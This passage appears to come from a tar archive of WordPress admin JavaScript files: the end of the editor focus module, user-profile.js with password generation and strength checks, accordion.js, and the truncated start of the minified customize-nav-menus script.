&& ! $slug.find( ':focus').length ) { fadedSlug = true; $slug.stop().fadeTo( 'fast', 0.3 ).on( 'mouseenter.focus', fadeInSlug ).off( 'mouseleave.focus' ); $slugFocusEl.on( 'focus.focus', fadeInSlug ).off( 'blur.focus' ); } } /** * Fades in the edit slug box. * * @since 4.1.0 * * @return {void} */ function fadeInSlug() { if ( fadedSlug ) { fadedSlug = false; $slug.stop().fadeTo( 'fast', 1 ).on( 'mouseleave.focus', fadeOutSlug ).off( 'mouseenter.focus' ); $slugFocusEl.on( 'blur.focus', fadeOutSlug ).off( 'focus.focus' ); } } /** * Triggers the toggle on Alt + Shift + W. * * Keycode 87 = w. * * @since 4.1.0 * * @param {event} event The event to trigger the toggle. * * @return {void} */ function toggleViaKeyboard( event ) { if ( event.altKey && event.shiftKey && 87 === event.keyCode ) { toggle(); } } if ( $( '#postdivrich' ).hasClass( 'wp-editor-expand' ) ) { $content.on( 'keydown.focus-shortcut', toggleViaKeyboard ); } /** * Adds the distraction free writing button when setting up TinyMCE. * * @since 4.1.0 * * @param {event} event The TinyMCE editor setup event. * @param {object} editor The editor to add the button to. * * @return {void} */ $document.on( 'tinymce-editor-setup.focus', function( event, editor ) { editor.addButton( 'dfw', { active: _isOn, classes: 'wp-dfw btn widget', disabled: ! _isActive, onclick: toggle, onPostRender: function() { var button = this; editor.on( 'init', function() { if ( button.disabled() ) { button.hide(); } } ); $document .on( 'dfw-activate.focus', function() { button.disabled( false ); button.show(); } ) .on( 'dfw-deactivate.focus', function() { button.disabled( true ); button.hide(); } ) .on( 'dfw-on.focus', function() { button.active( true ); } ) .on( 'dfw-off.focus', function() { button.active( false ); } ); }, tooltip: 'Distraction-free writing mode', shortcut: 'Alt+Shift+W' } ); editor.addCommand( 'wpToggleDFW', toggle ); editor.addShortcut( 'access+w', '', 'wpToggleDFW' ); } ); /** * Binds and unbinds events on the editor. * * @since 4.1.0 * * @param {event} event The TinyMCE editor init event. * @param {object} editor The editor to bind events on. * * @return {void} */ $document.on( 'tinymce-editor-init.focus', function( event, editor ) { var mceBind, mceUnbind; function focus() { editorHasFocus = true; } function blur() { editorHasFocus = false; } if ( editor.id === 'content' ) { $editorWindow = $( editor.getWin() ); $editorIframe = $( editor.getContentAreaContainer() ).find( 'iframe' ); mceBind = function() { editor.on( 'keydown', fadeOut ); editor.on( 'blur', maybeFadeIn ); editor.on( 'focus', focus ); editor.on( 'blur', blur ); editor.on( 'wp-autoresize', recalcEditorRect ); }; mceUnbind = function() { editor.off( 'keydown', fadeOut ); editor.off( 'blur', maybeFadeIn ); editor.off( 'focus', focus ); editor.off( 'blur', blur ); editor.off( 'wp-autoresize', recalcEditorRect ); }; if ( _isOn ) { mceBind(); } // Bind and unbind based on the distraction free writing focus. $document.on( 'dfw-on.focus', mceBind ).on( 'dfw-off.focus', mceUnbind ); // Focus the editor when it is the target of the click event. editor.on( 'click', function( event ) { if ( event.target === editor.getDoc().documentElement ) { editor.focus(); } } ); } } ); /** * Binds events on quicktags init. * * @since 4.1.0 * * @param {event} event The quicktags init event. * @param {object} editor The editor to bind events on. * * @return {void} */ $document.on( 'quicktags-init', function( event, editor ) { var $button; // Bind the distraction free writing events if the distraction free writing button is available. if ( editor.settings.buttons && ( ',' + editor.settings.buttons + ',' ).indexOf( ',dfw,' ) !== -1 ) { $button = $( '#' + editor.name + '_dfw' ); $( document ) .on( 'dfw-activate', function() { $button.prop( 'disabled', false ); } ) .on( 'dfw-deactivate', function() { $button.prop( 'disabled', true ); } ) .on( 'dfw-on', function() { $button.addClass( 'active' ); } ) .on( 'dfw-off', function() { $button.removeClass( 'active' ); } ); } } ); $document.on( 'editor-expand-on.focus', activate ).on( 'editor-expand-off.focus', deactivate ); if ( _isOn ) { $content.on( 'keydown.focus', fadeOut ); $title.add( $content ).on( 'blur.focus', maybeFadeIn ); } window.wp = window.wp || {}; window.wp.editor = window.wp.editor || {}; window.wp.editor.dfw = { activate: activate, deactivate: deactivate, isActive: isActive, on: on, off: off, toggle: toggle, isOn: isOn }; } ); } )( window, window.jQuery ); user-profile.js 0000644 00000043647 15222552267 0007544 0 ustar 00 /** * @output wp-admin/js/user-profile.js */ /* global ajaxurl, pwsL10n, userProfileL10n, ClipboardJS */ (function($) { var updateLock = false, isSubmitting = false, __ = wp.i18n.__, clipboard = new ClipboardJS( '.application-password-display .copy-button' ), $pass1Row, $pass1, $pass2, $weakRow, $weakCheckbox, $toggleButton, $submitButtons, $submitButton, currentPass, $form, originalFormContent, $passwordWrapper, successTimeout, isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false, ua = navigator.userAgent.toLowerCase(), isSafari = window.safari !== 'undefined' && typeof window.safari === 'object', isFirefox = ua.indexOf( 'firefox' ) !== -1; function generatePassword() { if ( typeof zxcvbn !== 'function' ) { setTimeout( generatePassword, 50 ); return; } else if ( ! $pass1.val() || $passwordWrapper.hasClass( 'is-open' ) ) { // zxcvbn loaded before user entered password, or generating new password. $pass1.val( $pass1.data( 'pw' ) ); $pass1.trigger( 'pwupdate' ); showOrHideWeakPasswordCheckbox(); } else { // zxcvbn loaded after the user entered password, check strength. check_pass_strength(); showOrHideWeakPasswordCheckbox(); } /* * This works around a race condition when zxcvbn loads quickly and * causes `generatePassword()` to run prior to the toggle button being * bound. */ bindToggleButton(); // Install screen. if ( 1 !== parseInt( $toggleButton.data( 'start-masked' ), 10 ) ) { // Show the password not masked if admin_password hasn't been posted yet. $pass1.attr( 'type', 'text' ); } else { // Otherwise, mask the password. $toggleButton.trigger( 'click' ); } // Once zxcvbn loads, passwords strength is known. $( '#pw-weak-text-label' ).text( __( 'Confirm use of weak password' ) ); // Focus the password field if not the install screen. if ( 'mailserver_pass' !== $pass1.prop('id' ) && ! $('#weblog_title').length ) { $( $pass1 ).trigger( 'focus' ); } } function bindPass1() { currentPass = $pass1.val(); if ( 1 === parseInt( $pass1.data( 'reveal' ), 10 ) ) { generatePassword(); } $pass1.on( 'input' + ' pwupdate', function () { if ( $pass1.val() === currentPass ) { return; } currentPass = $pass1.val(); // Refresh password strength area. $pass1.removeClass( 'short bad good strong' ); showOrHideWeakPasswordCheckbox(); } ); bindCapsLockWarning( $pass1 ); } function resetToggle( show ) { $toggleButton .attr({ 'aria-label': show ? __( 'Show password' ) : __( 'Hide password' ) }) .find( '.text' ) .text( show ? __( 'Show' ) : __( 'Hide' ) ) .end() .find( '.dashicons' ) .removeClass( show ? 'dashicons-hidden' : 'dashicons-visibility' ) .addClass( show ? 'dashicons-visibility' : 'dashicons-hidden' ); } function bindToggleButton() { if ( !! $toggleButton ) { // Do not rebind. return; } $toggleButton = $pass1Row.find('.wp-hide-pw'); // Toggle between showing and hiding the password. $toggleButton.show().on( 'click', function () { if ( 'password' === $pass1.attr( 'type' ) ) { $pass1.attr( 'type', 'text' ); resetToggle( false ); } else { $pass1.attr( 'type', 'password' ); resetToggle( true ); } }); // Ensure the password input type is set to password when the form is submitted. $pass1Row.closest( 'form' ).on( 'submit', function() { if ( $pass1.attr( 'type' ) === 'text' ) { $pass1.attr( 'type', 'password' ); resetToggle( true ); } } ); } /** * Handle the password reset button. Sets up an ajax callback to trigger sending * a password reset email. */ function bindPasswordResetLink() { $( '#generate-reset-link' ).on( 'click', function() { var $this = $(this), data = { 'user_id': userProfileL10n.user_id, // The user to send a reset to. 'nonce': userProfileL10n.nonce // Nonce to validate the action. }; // Remove any previous error messages. $this.parent().find( '.notice-error' ).remove(); // Send the reset request. var resetAction = wp.ajax.post( 'send-password-reset', data ); // Handle reset success. resetAction.done( function( response ) { addInlineNotice( $this, true, response ); } ); // Handle reset failure. resetAction.fail( function( response ) { addInlineNotice( $this, false, response ); } ); }); } /** * Helper function to insert an inline notice of success or failure. * * @param {jQuery Object} $this The button element: the message will be inserted * above this button * @param {bool} success Whether the message is a success message. * @param {string} message The message to insert. */ function addInlineNotice( $this, success, message ) { var resultDiv = $( '<div />', { role: 'alert' } ); // Set up the notice div. resultDiv.addClass( 'notice inline' ); // Add a class indicating success or failure. resultDiv.addClass( 'notice-' + ( success ? 'success' : 'error' ) ); // Add the message, wrapping in a p tag, with a fadein to highlight each message. resultDiv.text( $( $.parseHTML( message ) ).text() ).wrapInner( '<p />'); // Disable the button when the callback has succeeded. $this.prop( 'disabled', success ); // Remove any previous notices. $this.siblings( '.notice' ).remove(); // Insert the notice. $this.before( resultDiv ); } function bindPasswordForm() { var $generateButton, $cancelButton; $pass1Row = $( '.user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit' ); // Hide the confirm password field when JavaScript support is enabled. $('.user-pass2-wrap').hide(); $submitButton = $( '#submit, #wp-submit' ).on( 'click', function () { updateLock = false; }); $submitButtons = $submitButton.add( ' #createusersub' ); $weakRow = $( '.pw-weak' ); $weakCheckbox = $weakRow.find( '.pw-checkbox' ); $weakCheckbox.on( 'change', function() { $submitButtons.prop( 'disabled', ! $weakCheckbox.prop( 'checked' ) ); } ); $pass1 = $('#pass1, #mailserver_pass'); if ( $pass1.length ) { bindPass1(); } else { // Password field for the login form. $pass1 = $( '#user_pass' ); bindCapsLockWarning( $pass1 ); } /* * Fix a LastPass mismatch issue, LastPass only changes pass2. * * This fixes the issue by copying any changes from the hidden * pass2 field to the pass1 field, then running check_pass_strength. */ $pass2 = $( '#pass2' ).on( 'input', function () { if ( $pass2.val().length > 0 ) { $pass1.val( $pass2.val() ); $pass2.val(''); currentPass = ''; $pass1.trigger( 'pwupdate' ); } } ); // Disable hidden inputs to prevent autofill and submission. if ( $pass1.is( ':hidden' ) ) { $pass1.prop( 'disabled', true ); $pass2.prop( 'disabled', true ); } $passwordWrapper = $pass1Row.find( '.wp-pwd' ); $generateButton = $pass1Row.find( 'button.wp-generate-pw' ); bindToggleButton(); $generateButton.show(); $generateButton.on( 'click', function () { updateLock = true; // Make sure the password fields are shown. $generateButton.not( '.skip-aria-expanded' ).attr( 'aria-expanded', 'true' ); $passwordWrapper .show() .addClass( 'is-open' ); // Enable the inputs when showing. $pass1.attr( 'disabled', false ); $pass2.attr( 'disabled', false ); // Set the password to the generated value. generatePassword(); // Show generated password in plaintext by default. resetToggle ( false ); // Generate the next password and cache. wp.ajax.post( 'generate-password' ) .done( function( data ) { $pass1.data( 'pw', data ); } ); } ); $cancelButton = $pass1Row.find( 'button.wp-cancel-pw' ); $cancelButton.on( 'click', function () { updateLock = false; // Disable the inputs when hiding to prevent autofill and submission. $pass1.prop( 'disabled', true ); $pass2.prop( 'disabled', true ); // Clear password field and update the UI. $pass1.val( '' ).trigger( 'pwupdate' ); resetToggle( false ); // Hide password controls. $passwordWrapper .hide() .removeClass( 'is-open' ); // Stop an empty password from being submitted as a change. $submitButtons.prop( 'disabled', false ); $generateButton.attr( 'aria-expanded', 'false' ); } ); $pass1Row.closest( 'form' ).on( 'submit', function () { updateLock = false; $pass1.prop( 'disabled', false ); $pass2.prop( 'disabled', false ); $pass2.val( $pass1.val() ); }); } function check_pass_strength() { var pass1 = $('#pass1').val(), strength; $('#pass-strength-result').removeClass('short bad good strong empty'); if ( ! pass1 || '' === pass1.trim() ) { $( '#pass-strength-result' ).addClass( 'empty' ).html( ' ' ); return; } strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputDisallowedList(), pass1 ); switch ( strength ) { case -1: $( '#pass-strength-result' ).addClass( 'bad' ).html( pwsL10n.unknown ); break; case 2: $('#pass-strength-result').addClass('bad').html( pwsL10n.bad ); break; case 3: $('#pass-strength-result').addClass('good').html( pwsL10n.good ); break; case 4: $('#pass-strength-result').addClass('strong').html( pwsL10n.strong ); break; case 5: $('#pass-strength-result').addClass('short').html( pwsL10n.mismatch ); break; default: $('#pass-strength-result').addClass('short').html( pwsL10n.short ); } } /** * Bind Caps Lock detection to a password input field. * * @param {jQuery} $input The password input field. */ function bindCapsLockWarning( $input ) { var $capsWarning, $capsIcon, $capsText, capsLockOn = false; // Skip warning on macOS Safari + Firefox (they show native indicators). if ( isMac && ( isSafari || isFirefox ) ) { return; } $capsWarning = $( '<div id="caps-warning" class="caps-warning"></div>' ); $capsIcon = $( '<span class="caps-icon" aria-hidden="true"><svg viewBox="0 0 24 26" xmlns="http://www.w3.org/2000/svg" fill="#3c434a" stroke="#3c434a" stroke-width="0.5"><path d="M12 5L19 15H16V19H8V15H5L12 5Z"/><rect x="8" y="21" width="8" height="1.5" rx="0.75"/></svg></span>' ); $capsText = $( '<span>', { 'class': 'caps-warning-text', text: __( 'Caps lock is on.' ) } ); $capsWarning.append( $capsIcon, $capsText ); $input.parent( 'div' ).append( $capsWarning ); $input.on( 'keydown', function( jqEvent ) { var event = jqEvent.originalEvent; // Skip if key is not a printable character. // Key length > 1 usually means non-printable (e.g., "Enter", "Tab"). if ( event.ctrlKey || event.metaKey || event.altKey || ! event.key || event.key.length !== 1 ) { return; } var state = isCapsLockOn( event ); // React when the state changes or if caps lock is on when the user starts typing. if ( state !== capsLockOn ) { capsLockOn = state; if ( capsLockOn ) { $capsWarning.show(); // Don't duplicate existing screen reader Caps lock notifications. if ( event.key !== 'CapsLock' ) { wp.a11y.speak( __( 'Caps lock is on.' ), 'assertive' ); } } else { $capsWarning.hide(); } } } ); $input.on( 'blur', function() { if ( ! document.hasFocus() ) { return; } capsLockOn = false; $capsWarning.hide(); } ); } /** * Determines if Caps Lock is currently enabled. * * On macOS Safari and Firefox, the native warning is preferred, * so this function returns false to suppress custom warnings. * * @param {KeyboardEvent} e The keydown event object. * * @return {boolean} True if Caps Lock is on, false otherwise. */ function isCapsLockOn( event ) { return event.getModifierState( 'CapsLock' ); } function showOrHideWeakPasswordCheckbox() { var passStrengthResult = $('#pass-strength-result'); if ( passStrengthResult.length ) { var passStrength = passStrengthResult[0]; if ( passStrength.className ) { $pass1.addClass( passStrength.className ); if ( $( passStrength ).is( '.short, .bad' ) ) { if ( ! $weakCheckbox.prop( 'checked' ) ) { $submitButtons.prop( 'disabled', true ); } $weakRow.show(); } else { if ( $( passStrength ).is( '.empty' ) ) { $submitButtons.prop( 'disabled', true ); $weakCheckbox.prop( 'checked', false ); } else { $submitButtons.prop( 'disabled', false ); } $weakRow.hide(); } } } } // Debug information copy section. clipboard.on( 'success', function( e ) { var triggerElement = $( e.trigger ), successElement = $( '.success', triggerElement.closest( '.application-password-display' ) ); // Clear the selection and move focus back to the trigger. e.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'Application password has been copied to your clipboard.' ) ); } ); $( function() { var $colorpicker, $stylesheet, user_id, current_user_id, select = $( '#display_name' ), current_name = select.val(), greeting = $( '#wp-admin-bar-my-account' ).find( '.display-name' ); $( '#pass1' ).val( '' ).on( 'input' + ' pwupdate', check_pass_strength ); $('#pass-strength-result').show(); $('.color-palette').on( 'click', function() { $(this).siblings('input[name="admin_color"]').prop('checked', true); }); if ( select.length ) { $('#first_name, #last_name, #nickname').on( 'blur.user_profile', function() { var dub = [], inputs = { display_nickname : $('#nickname').val() || '', display_username : $('#user_login').val() || '', display_firstname : $('#first_name').val() || '', display_lastname : $('#last_name').val() || '' }; if ( inputs.display_firstname && inputs.display_lastname ) { inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname; inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname; } $.each( $('option', select), function( i, el ){ dub.push( el.value ); }); $.each(inputs, function( id, value ) { if ( ! value ) { return; } var val = value.replace(/<\/?[a-z][^>]*>/gi, ''); if ( inputs[id].length && $.inArray( val, dub ) === -1 ) { dub.push(val); $('<option />', { 'text': val }).appendTo( select ); } }); }); /** * Replaces "Howdy, *" in the admin toolbar whenever the display name dropdown is updated for one's own profile. */ select.on( 'change', function() { if ( user_id !== current_user_id ) { return; } var display_name = this.value.trim() || current_name; greeting.text( display_name ); } ); } $colorpicker = $( '#color-picker' ); $stylesheet = $( '#colors-css' ); user_id = $( 'input#user_id' ).val(); current_user_id = $( 'input[name="checkuser_id"]' ).val(); $colorpicker.on( 'click.colorpicker', '.color-option', function() { var colors, $this = $(this); if ( $this.hasClass( 'selected' ) ) { return; } $this.siblings( '.selected' ).removeClass( 'selected' ); $this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true ); // Set color scheme. if ( user_id === current_user_id ) { // Load the colors stylesheet. // The default color scheme won't have one, so we'll need to create an element. if ( 0 === $stylesheet.length ) { $stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' ); } $stylesheet.attr( 'href', $this.children( '.css_url' ).val() ); // Repaint icons. if ( typeof wp !== 'undefined' && wp.svgPainter ) { try { colors = JSON.parse( $this.children( '.icon_colors' ).val() ); } catch ( error ) {} if ( colors ) { wp.svgPainter.setColors( colors ); wp.svgPainter.paint(); } } // Update user option. $.post( ajaxurl, { action: 'save-user-color-scheme', color_scheme: $this.children( 'input[name="admin_color"]' ).val(), nonce: $('#color-nonce').val() }).done( function( response ) { if ( response.success ) { $( 'body' ).removeClass( response.data.previousScheme ).addClass( response.data.currentScheme ); } }); } }); bindPasswordForm(); bindPasswordResetLink(); $submitButtons.on( 'click', function() { isSubmitting = true; }); $form = $( '#your-profile, #createuser' ); originalFormContent = $form.serialize(); }); $( '#destroy-sessions' ).on( 'click', function( e ) { var $this = $(this); wp.ajax.post( 'destroy-sessions', { nonce: $( '#_wpnonce' ).val(), user_id: $( '#user_id' ).val() }).done( function( response ) { $this.prop( 'disabled', true ); $this.siblings( '.notice' ).remove(); $this.before( '<div class="notice notice-success inline" role="alert"><p>' + response.message + '</p></div>' ); }).fail( function( response ) { $this.siblings( '.notice' ).remove(); $this.before( '<div class="notice notice-error inline" role="alert"><p>' + response.message + '</p></div>' ); }); e.preventDefault(); }); window.generatePassword = generatePassword; // Warn the user if password was generated but not saved. $( window ).on( 'beforeunload', function () { if ( true === updateLock ) { return __( 'Your new password has not been saved.' ); } if ( originalFormContent !== $form.serialize() && ! isSubmitting ) { return __( 'The changes you made will be lost if you navigate away from this page.' ); } }); /* * We need to generate a password as soon as the Reset Password page is loaded, * to avoid double clicking the button to retrieve the first generated password. * See ticket #39638. */ $( function() { if ( $( '.reset-pass-submit' ).length ) { $( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' ); } }); })(jQuery); accordion.js 0000644 00000005565 15222552267 0007066 0 ustar 00 /** * Accordion-folding functionality. * * Markup with the appropriate classes will be automatically hidden, * with one section opening at a time when its title is clicked. * Use the following markup structure for accordion behavior: * * <div class="accordion-container"> * <div class="accordion-section open"> * <h3 class="accordion-section-title"><button type="button" aria-expanded="true" aria-controls="target-1"></button></h3> * <div class="accordion-section-content" id="target"> * </div> * </div> * <div class="accordion-section"> * <h3 class="accordion-section-title"><button type="button" aria-expanded="false" aria-controls="target-2"></button></h3> * <div class="accordion-section-content" id="target-2"> * </div> * </div> * <div class="accordion-section"> * <h3 class="accordion-section-title"><button type="button" aria-expanded="false" aria-controls="target-3"></button></h3> * <div class="accordion-section-content" id="target-3"> * </div> * </div> * </div> * * Note that any appropriate tags may be used, as long as the above classes are present. * * @since 3.6.0 * @output wp-admin/js/accordion.js */ ( function( $ ){ $( function () { // Expand/Collapse accordion sections on click. $( '.accordion-container' ).on( 'click', '.accordion-section-title button', function() { accordionSwitch( $( this ) ); }); }); /** * Close the current accordion section and open a new one. * * @param {Object} el Title element of the accordion section to toggle. * @since 3.6.0 */ function accordionSwitch ( el ) { var section = el.closest( '.accordion-section' ), container = section.closest( '.accordion-container' ), siblings = container.find( '.open' ), siblingsToggleControl = siblings.find( '[aria-expanded]' ).first(), content = section.find( '.accordion-section-content' ); // This section has no content and cannot be expanded. if ( section.hasClass( 'cannot-expand' ) ) { return; } // Add a class to the container to let us know something is happening inside. // This helps in cases such as hiding a scrollbar while animations are executing. container.addClass( 'opening' ); if ( section.hasClass( 'open' ) ) { section.toggleClass( 'open' ); content.toggle( true ).slideToggle( 150 ); } else { siblingsToggleControl.attr( 'aria-expanded', 'false' ); siblings.removeClass( 'open' ); siblings.find( '.accordion-section-content' ).show().slideUp( 150 ); content.toggle( false ).slideToggle( 150 ); section.toggleClass( 'open' ); } // We have to wait for the animations to finish. setTimeout(function(){ container.removeClass( 'opening' ); }, 150); // If there's an element with an aria-expanded attribute, assume it's a toggle control and toggle the aria-expanded value. if ( el ) { el.attr( 'aria-expanded', String( el.attr( 'aria-expanded' ) === 'false' ) ); } } })(jQuery); customize-nav-menus.min.js 0000644 00000136220 15222552267 0011631 0 ustar 00 /*! This file is auto-generated */ !function(u,l,m){"use strict";function c(e){return(e=(e=l.sanitize.stripTagsAndEncodeText(e=e||"")).toString().trim())||u.Menus.data.l10n.unnamed}wpNavMenu.originalInit=wpNavMenu.init,wpNavMenu.options.menuItemDepthPerLevel=20,wpNavMenu.options.sortableItems="> .customize-control-nav_menu_item",wpNavMenu.options.targetTolerance=10,wpNavMenu.init=function(){this.jQueryExtensions()},u.Menus=u.Menus||{},u.Menus.data={itemTypes:[],l10n:{},settingTransport:"refresh",phpIntMax:0,defaultSettingValues:{nav_menu:{},nav_menu_item:{}},locationSlugMappedToName:{}},"undefined"!=typeof _wpCustomizeNavMenusSettings&&m.extend(u.Menus.data,_wpCustomizeNavMenusSettings),u.Menus.generatePlaceholderAutoIncrementId=function(){return-Math.ceil(u.Menus.data.phpIntMax*Math.random())},u.Menus.AvailableItemModel=Backbone.Model.extend(m.extend({id:null},u.Menus.data.defaultSettingValues.nav_menu_item)),u.Menus.AvailableItemCollection=Backbone.Collection.extend({model:u.Menus.AvailableItemModel,sort_key:"order",comparator:function(e){return-e.get(this.sort_key)},sortByField:function(e){this.sort_key=e,this.sort()}}),u.Menus.availableMenuItems=new u.Menus.AvailableItemCollection(u.Menus.data.availableMenuItems),u.Menus.insertAutoDraftPost=function(n){var i=m.Deferred(),e=l.ajax.post("customize-nav-menus-insert-auto-draft",{"customize-menus-nonce":u.settings.nonce["customize-menus"],wp_customize:"on",customize_changeset_uuid:u.settings.changeset.uuid,params:n});return e.done(function(t){t.post_id&&(u("nav_menus_created_posts").set(u("nav_menus_created_posts").get().concat([t.post_id])),"page"===n.post_type&&(u.section.has("static_front_page")&&u.section("static_front_page").activate(),u.control.each(function(e){"dropdown-pages"===e.params.type&&e.container.find('select[name^="_customize-dropdown-pages-"]').append(new Option(n.post_title,t.post_id))})),i.resolve(t))}),e.fail(function(e){var t=e||"";void 0!==e.message&&(t=e.message),console.error(t),i.rejectWith(t)}),i.promise()},u.Menus.AvailableMenuItemsPanelView=l.Backbone.View.extend({el:"#available-menu-items",events:{"input #menu-items-search":"debounceSearch","focus .menu-item-tpl":"focus","click .menu-item-tpl":"_submit","click #custom-menu-item-submit":"_submitLink","keypress #custom-menu-item-name":"_submitLink","click .new-content-item .add-content":"_submitNew","keypress .create-item-input":"_submitNew",keydown:"keyboardAccessible"},selected:null,currentMenuControl:null,debounceSearch:null,$search:null,$clearResults:null,searchTerm:"",rendered:!1,pages:{},sectionContent:"",loading:!1,addingNew:!1,initialize:function(){var n=this;u.panel.has("nav_menus")&&(this.$search=m("#menu-items-search"),this.$clearResults=this.$el.find(".clear-results"),this.sectionContent=this.$el.find(".available-menu-items-list"),this.debounceSearch=_.debounce(n.search,500),_.bindAll(this,"close"),m("#customize-controls, .customize-section-back").on("click keydown",function(e){var t=m(e.target).is(".item-delete, .item-delete *"),e=m(e.target).is(".add-new-menu-item, .add-new-menu-item *");!m("body").hasClass("adding-menu-items")||t||e||n.close()}),this.$clearResults.on("click",function(){n.$search.val("").trigger("focus").trigger("input")}),this.$el.on("input","#custom-menu-item-name.invalid, #custom-menu-item-url.invalid",function(){m(this).removeClass("invalid");var e=m(this).attr("aria-describedby");m("#"+e).hide(),m(this).removeAttr("aria-invalid").removeAttr("aria-describedby")}),u.panel("nav_menus").container.on("expanded",function(){n.rendered||(n.initList(),n.rendered=!0)}),this.sectionContent.on("scroll",function(){var e=n.$el.find(".accordion-section.open .available-menu-items-list").prop("scrollHeight"),t=n.$el.find(".accordion-section.open").height();!n.loading&&m(this).scrollTop()>.75*e-t&&(e=m(this).data("type"),t=m(this).data("object"),"search"===e?n.searchTerm&&n.doSearch(n.pages.search):n.loadItems([{type:e,object:t}]))}),u.previewer.bind("url",this.close),n.delegateEvents())},search:function(e){var t=m("#available-menu-items-search"),n=m("#available-menu-items .accordion-section").not(t);e&&this.searchTerm!==e.target.value&&(""===e.target.value||t.hasClass("open")?""===e.target.value&&(t.removeClass("open"),n.show(),this.$clearResults.removeClass("is-visible")):(n.fadeOut(100),t.find(".accordion-section-content").slideDown("fast"),t.addClass("open"),this.$clearResults.addClass("is-visible")),this.searchTerm=e.target.value,this.pages.search=1,this.doSearch(1))},doSearch:function(t){var e,n=this,i=m("#available-menu-items-search"),a=i.find(".accordion-section-content"),o=l.template("available-menu-item");if(n.currentRequest&&n.currentRequest.abort(),!(t<0)){if(1<t)i.addClass("loading-more"),a.attr("aria-busy","true"),l.a11y.speak(u.Menus.data.l10n.itemsLoadingMore);else if(""===n.searchTerm)return a.html(""),void l.a11y.speak("");i.addClass("loading"),n.loading=!0,e=u.previewer.query({excludeCustomizedSaved:!0}),_.extend(e,{"customize-menus-nonce":u.settings.nonce["customize-menus"],wp_customize:"on",search:n.searchTerm,page:t}),n.currentRequest=l.ajax.post("search-available-menu-items-customizer",e),n.currentRequest.done(function(e){1===t&&a.empty(),i.removeClass("loading loading-more"),a.attr("aria-busy","false"),i.addClass("open"),n.loading=!1,e=new u.Menus.AvailableItemCollection(e.items),n.collection.add(e.models),e.each(function(e){a.append(o(e.attributes))}),e.length<20?n.pages.search=-1:n.pages.search=n.pages.search+1,e&&1<t?l.a11y.speak(u.Menus.data.l10n.itemsFoundMore.replace("%d",e.length)):e&&1===t&&l.a11y.speak(u.Menus.data.l10n.itemsFound.replace("%d",e.length))}),n.currentRequest.fail(function(e){e.message&&(a.empty().append(m('<li class="nothing-found"></li>').text(e.message)),l.a11y.speak(e.message)),n.pages.search=-1}),n.currentRequest.always(function(){i.removeClass("loading loading-more"),a.attr("aria-busy","false"),n.loading=!1,n.currentRequest=null})}},initList:function(){var t=this;_.each(u.Menus.data.itemTypes,function(e){t.pages[e.type+":"+e.object]=0}),t.loadItems(u.Menus.data.itemTypes)},loadItems:function(e,t){var i=this,a=[],o={},s=l.template("available-menu-item"),t=_.isString(e)&&_.isString(t)?[{type:e,object:t}]:e;_.each(t,function(e){var t,n=e.type+":"+e.object;-1!==i.pages[n]&&((t=m("#available-menu-items-"+e.type+"-"+e.object)).find(".accordion-section-title").addClass("loading"),o[n]=t,a.push({object:e.object,type:e.type,page:i.pages[n]}))}),0!==a.length&&(i.loading=!0,e=u.previewer.query({excludeCustomizedSaved:!0}),_.extend(e,{"customize-menus-nonce":u.settings.nonce["customize-menus"],wp_customize:"on",item_types:a}),(t=l.ajax.post("load-available-menu-items-customizer",e)).done(function(e){var n;_.each(e.items,function(e,t){0===e.length?(0===i.pages[t]&&o[t].find(".accordion-section-title").addClass("cannot-expand").removeClass("loading").find(".accordion-section-title > button").prop("tabIndex",-1),i.pages[t]=-1):("post_type:page"!==t||o[t].hasClass("open")||o[t].find(".accordion-section-title > button").trigger("click"),e=new u.Menus.AvailableItemCollection(e),i.collection.add(e.models),n=o[t].find(".available-menu-items-list"),e.each(function(e){n.append(s(e.attributes))}),i.pages[t]+=1)})}),t.fail(function(e){"undefined"!=typeof console&&console.error&&console.error(e)}),t.always(function(){_.each(o,function(e){e.find(".accordion-section-title").removeClass("loading")}),i.loading=!1}))},itemSectionHeight:function(){var e=window.innerHeight,t=this.$el.find(".accordion-section:not( #available-menu-items-search ) .accordion-section-content"),n=this.$el.find('.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")'),e=e-(46*(1+t.length)+14);120<e&&e<290&&(t.css("max-height",e),n.css("max-height",e-60))},select:function(e){this.selected=m(e),this.selected.siblings(".menu-item-tpl").removeClass("selected"),this.selected.addClass("selected")},focus:function(e){this.select(m(e.currentTarget))},_submit:function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||this.submit(m(e.currentTarget))},submit:function(e){var t;(e=e||this.selected)&&this.currentMenuControl&&(this.select(e),t=m(this.selected).data("menu-item-id"),t=this.collection.findWhere({id:t}))&&((t=Object.assign({},t.attributes)).title===t.original_title&&(t.title=""),this.currentMenuControl.addItemToMenu(t),m(e).find(".menu-item-handle").addClass("item-added"))},_submitLink:function(e){"keypress"===e.type&&13!==e.which||this.submitLink()},submitLink:function(){var e,t,n,i=m("#custom-menu-item-name"),a=m("#custom-menu-item-url"),o=m("#custom-url-error"),s=m("#custom-name-error"),r=a.val().trim();this.currentMenuControl&&((t=/^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/).test(r)&&""!==i.val()?(o.hide(),s.hide(),i.removeClass("invalid").removeAttr("aria-invalid","true").removeAttr("aria-describedby","custom-name-error"),a.removeClass("invalid").removeAttr("aria-invalid","true").removeAttr("aria-describedby","custom-name-error"),e={title:i.val(),url:r,type:"custom",type_label:u.Menus.data.l10n.custom_label,object:"custom"},this.currentMenuControl.addItemToMenu(e),a.val("").attr("placeholder","https://"),i.val("")):(t.test(r)||(a.addClass("invalid").attr("aria-invalid","true").attr("aria-describedby","custom-url-error"),o.show(),n=o.text(),l.a11y.speak(n,"assertive")),""===i.val()&&(i.addClass("invalid").attr("aria-invalid","true").attr("aria-describedby","custom-name-error"),s.show(),n=""===n?s.text():n+s.text(),l.a11y.speak(n,"assertive"))))},_submitNew:function(e){"keypress"===e.type&&13!==e.which||this.addingNew||(e=m(e.